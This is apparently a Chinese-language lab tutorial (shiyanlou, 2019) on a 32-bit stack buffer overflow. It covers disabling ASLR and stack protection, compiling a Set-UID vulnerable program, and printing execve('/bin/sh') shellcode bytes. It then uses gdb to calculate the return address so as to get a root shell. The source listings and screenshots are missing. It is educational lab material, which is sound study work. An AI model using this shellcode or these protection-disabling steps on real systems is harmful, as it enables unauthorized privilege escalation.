20191214-shiyanlou緩衝區溢位實驗
緩衝區溢位實驗:
一、實驗簡介
注意:實驗中命令在 xfce 終端中輸入,前面有$
的內容為在終端輸入的命令,$
號不需要輸入。命令上有#
的內容為註釋,不需要輸入
適用人群:
- 有 C 語言基礎
- 會進位制轉換以及計算
- vim 基本使用
- 熟悉基本 linux 命令
緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫
二、實驗準備系統使用者名稱 shiyanlou
實驗樓提供的是 64 位 Ubuntu linux,而本次實驗為了方便觀察彙編語句,我們需要在 32 位環境下作操作,因此實驗之前需要做一些準備。
輸入命令安裝一些用於編譯 32 位 C 程式的軟體包:
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
三、實驗步驟
.1 初始設定1、Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩衝區溢位攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:
sudo sysctl -w kernel.randomize_va_space=0
2、此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在/bin/bash
中實現。
linux 系統中,/bin/sh
實際是指向/bin/bash
或/bin/dash
的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程式(zsh)代替/bin/bash
。下面的指令描述瞭如何設定 zsh 程式:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
3、輸入命令linux32
進入32位linux環境。此時你會發現,命令列用起來沒那麼爽了,比如不能tab補全了,輸入/bin/bash
使用bash:
一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢位的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的程式碼用於實現其他功能,這段程式碼就是 shellcode。
觀察以下程式碼:
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
本次實驗的 shellcode,就是剛才程式碼的彙編版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3 漏洞程式
在/tmp
目錄下新建一個stack.c
檔案:
cd /tmp
vim stack.c
按i
鍵切換到插入模式,再輸入如下內容:
通過程式碼可以知道,程式會讀取一個名為“badfile”的檔案,並將檔案內容裝入“buffer”。
編譯該程式,並設定 SET-UID。命令如下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯程式碼時需要用
–fno-stack-protector
關閉這種機制。 而-z execstack
用於允許執行棧。3.4 攻擊程式
-g
引數是為了使編譯後得到的可執行文件能用gdb
除錯。我們的目的是攻擊剛才的漏洞程式,並通過攻擊獲得
root
許可權。在
/tmp
目錄下新建一個exploit.c
檔案,輸入如下內容:現在我們要得到 shellcode 在記憶體中的地址,輸入命令進入 gdb 除錯:
gdb stack disass main
結果如圖:
esp 中就是 str 的起始地址,所以我們在地址0x080484ee
處設定斷點。
地址可能不一致,請根據你的顯示結果自行修改。
接下來的操作:
# 設定斷點
b *0x080484ee
r
i r $esp
最後獲得的這個0xffffcfb0
就是 str 的地址。
根據語句strcpy(buffer + 100,shellcode);
我們計算shellcode
的地址為0xffffcfb0
+0x64
=0xffffd014
現在修改exploit.c
檔案,將\x??\x??\x??\x??
修改為計算的結果\x14\xd0\xff\xff
,注意順序是反的。
然後,編譯exploit.c
程式:
gcc -m32 -o exploit exploit.c
3.5 攻擊結果
先執行攻擊程式 exploit,再執行漏洞程式 stack,觀察結果:
whoami 是輸入的命令,不是輸出結果。
可見,通過攻擊,獲得了root 許可權!
四、練習1、按照實驗步驟進行操作,攻擊漏洞程式並獲得 root 許可權。
2、通過命令sudo sysctl -w kernel.randomize_va_space=2
開啟系統的地址空間隨機化機制,重複用 exploit 程式攻擊 stack 程式,觀察能否攻擊成功,能否獲得root許可權。
顯然不能獲得root許可權,這是因為Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩衝區溢位攻擊的關鍵。
3、將/bin/sh
重新指向/bin/bash
(或/bin/dash
),觀察能否攻擊成功,能否獲得 root 許可權。
這樣也不能獲得root許可權,因為許多shell程式在被呼叫時自動放棄它們的特權,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權。